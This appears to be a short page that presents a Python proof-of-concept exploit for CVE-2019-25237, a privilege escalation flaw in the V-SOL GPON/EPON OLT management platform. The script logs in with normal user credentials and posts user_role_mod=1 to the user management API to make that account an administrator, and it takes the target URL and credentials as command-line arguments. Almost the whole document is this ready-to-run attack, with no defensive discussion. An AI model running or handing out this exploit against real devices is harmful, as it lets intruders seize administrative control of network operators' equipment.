CVE-2019-25237 V-SOL GPON/EPON OLT平台权限提升漏洞

#!/usr/bin/env python3 """ CVE-2019-25237 PoC - V-SOL GPON/EPON OLT Privilege Escalation Target: V-SOL GPON/EPON OLT Platform v2.03 Vulnerability: Normal users can escalate privileges by manipulating user_role_mod parameter CVSS Score: 9.8 (Critical) """ import requests import sys import argparse def exploit_privilege_escalation(target_url, username, password): """ Exploit CVE-2019-25237 by sending a crafted HTTP POST request to elevate user privileges to administrator. """ # Login endpoint login_url = f"{target_url}/api/login" login_data = { "username": username, "password": password } print(f"[*] Attempting login to {target_url}...") session = requests.Session() try: login_response = session.post(login_url, data=login_data, timeout=10) if login_response.status_code != 200: print("[-] Login failed - check credentials") return False print("[+] Login successful!") except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False # Privilege escalation payload escalate_url = f"{target_url}/api/user_management" escalate_data = { "user_role_mod": 1, # 1 = administrator role "username": username } print(f"[*] Sending privilege escalation payload...") print(f"[*] Setting user_role_mod=1 for user: {username}") try: escalate_response = session.post(escalate_url, data=escalate_data, timeout=10) if escalate_response.status_code == 200: print("[+] Privilege escalation successful!") print("[+] User now has administrator privileges") return True else: print(f"[-] Exploitation failed - Status: {escalate_response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2019-25237 Exploit") parser.add_argument("-t", "--target", required=True, help="Target URL (e.g., http://192.168.1.1)") parser.add_argument("-u", "--username", required=True, help="Username") parser.add_argument("-p", "--password", required=True, help="Password") args = parser.parse_args() exploit_privilege_escalation(args.target, args.username, args.password)